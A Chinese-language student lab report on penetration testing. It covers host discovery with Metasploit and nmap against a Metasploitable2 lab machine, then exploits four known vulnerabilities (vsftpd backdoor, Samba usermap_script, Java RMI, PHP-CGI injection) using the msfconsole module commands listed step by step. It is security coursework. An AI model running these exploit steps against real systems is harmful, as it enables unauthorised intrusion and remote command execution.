1. 实验内容
1.1 实验要求
(1)掌握metasploit、nmap的用法。
(2)学习前期渗透的方法。
(3)利用4个漏洞,实现对靶机的攻击。
1.2 学习内容
(1)metasploit的用法:可以简单总结为“Search-Use-Show-Set-Exploit/run”。
(2)四种漏洞的原理。
-
Vsftpd源码包后门漏洞:在特定版本的vsftpd服务器程序中,当FTP客户端连接到Vsftpd服务器,并且登录时使用的用户名以“😃"结尾时,这个后门会被触发。一旦触发,Vsftpd会在6200端口上创建一个新的监听进程,该进程允许未经身份验证的远程攻击者执行任意命令。
-
SambaMS-RPC Shell命令注入漏洞:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。Samba中的某个组件在处理用户密码更改请求时,没有充分地对输入数据进行净化处理,而是直接将未经过滤的输入传递给了/bin/sh shell。这意味着,如果攻击者能够构造特定的输入(例如,通过精心设计的密码更改请求),他们就有可能执行任意shell命令。
-
Java RMI SERVER命令执行漏洞:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,如果RMI Server的RMI注册表和激活服务的配置不当,可能会暴露出安全风险。攻击者可以利用这些配置错误来远程调用恶意对象的方法,从而在目标机器上执行任意代码。
-
PHP CGI参数执行注入漏洞:当PHP以CGI方式运行时,如果对传入的请求参数处理不当,可能会导致命令注入。具体来说,如果PHP脚本没有正确地转义或验证用户输入,攻击者可以通过操纵HTTP请求中的查询参数来插入恶意命令,这些命令随后可能被执行。
2. 实验过程
2.1 前期渗透
输入ifconfig
查询靶机ip地址,可以看到ip为192.168.58.132。
在kali中输入msfconsole
打开msfconsole
输入以下命令:search arp_sweep
,use 0
,set RHOSTS 192.168.58.0/24
,run
。
可以看到,扫描到了靶机的ip地址。
输入nmap -p 1-2048 192.168.58.132
扫描靶机的开放端口。
输入nmap -script=vuln 192.168.58.132
扫描靶机的靶机的漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器中,若用户名以“😃”结尾,服务器将在6200端口监听并允许执行任意代码,存在严重安全漏洞。
在msfconsole中输入以下命令:use exploit/unix/ftp/vsftpd_234_backdoor
,set RHOSTS 192.168.58.132
,run
。
再输入pwd,ls等命令,可以看到已经获取靶机的shell,攻击成功。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶
意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
在msfconsole中输入以下命令:use exploit/multi/samba/usermap_script
,set RHOSTS 192.168.58.132
,exploit
。
再输入pwd,ls等命令,可以看到已经获取靶机的shell,攻击成功。
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
在msfconsole中输入以下命令:use exploit/multi/misc/java_rmi_server
,use 0
,set RHOSTS 192.168.58.132
,exploit
。
执行攻击后,使用指令sessions -i 1
进入线程。
输入命令pwd,ls,发现攻击成功。
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在msfconsole中输入:use exploit/multi/http/php_cgi_arg_injection
,set RHOSTS 192.168.58.132
,exploit
。
输入pwd,ls,help等命令,发现攻击成功。
3. 问题及解决方案
问题:无法执行shell、whoami等指令。
解决方案:使用ls /bin/
指令查询可知,靶机内没有shell whoami等指令,可能是下载的靶机版本过低导致。
4. 学习感悟、思考等
在这次Metasploit的实践过程中,我学会了如何操作Metasploit进行基本的安全测试,通过Metasploit的辅助模块完成了主机发现和端口扫描的工作,这是任何一次渗透测试的基础。随着对这些模块的熟悉,更加高效地定位到目标主机上的开放端口和服务,为后续的攻击实验打下了坚实的基础。接下来,针对Metasploitable2靶机上存在的多个具体漏洞,我进行了针对性的攻击尝试。其中,Vsftpd源码包后门漏洞的利用给我留下了深刻的印象。通过简单的用户名字符串就能触发服务器在非标准端口上开启监听,并允许执行任意代码,这一过程既展示了漏洞的危险性,也凸显了软件安全审查的重要性。
在探索Samba MS-RPC Shell命令注入漏洞和Java RMI SERVER命令执行漏洞的过程中,我进一步认识到,即使是看似安全的服务也可能因为编程失误或配置不当而成为攻击者的突破口。这两个案例都强调了一个关键点——输入验证的重要性。无论是通过网络接口接收的数据还是用户直接提供的信息,都应经过严格的检查和过滤,以防止恶意输入导致的安全问题。
最后,我在PHP CGI参数执行注入漏洞的实验中体验到了Web应用安全的脆弱性。当CGI脚本未能妥善处理请求参数时,不仅可能导致敏感信息的泄露,还会为攻击者提供执行任意命令的机会。这再次警示我们,在开发Web应用程序时,安全性应该是首要考虑的因素之一,开发者需要采取多种措施来确保应用的安全,比如输入验证、输出编码等。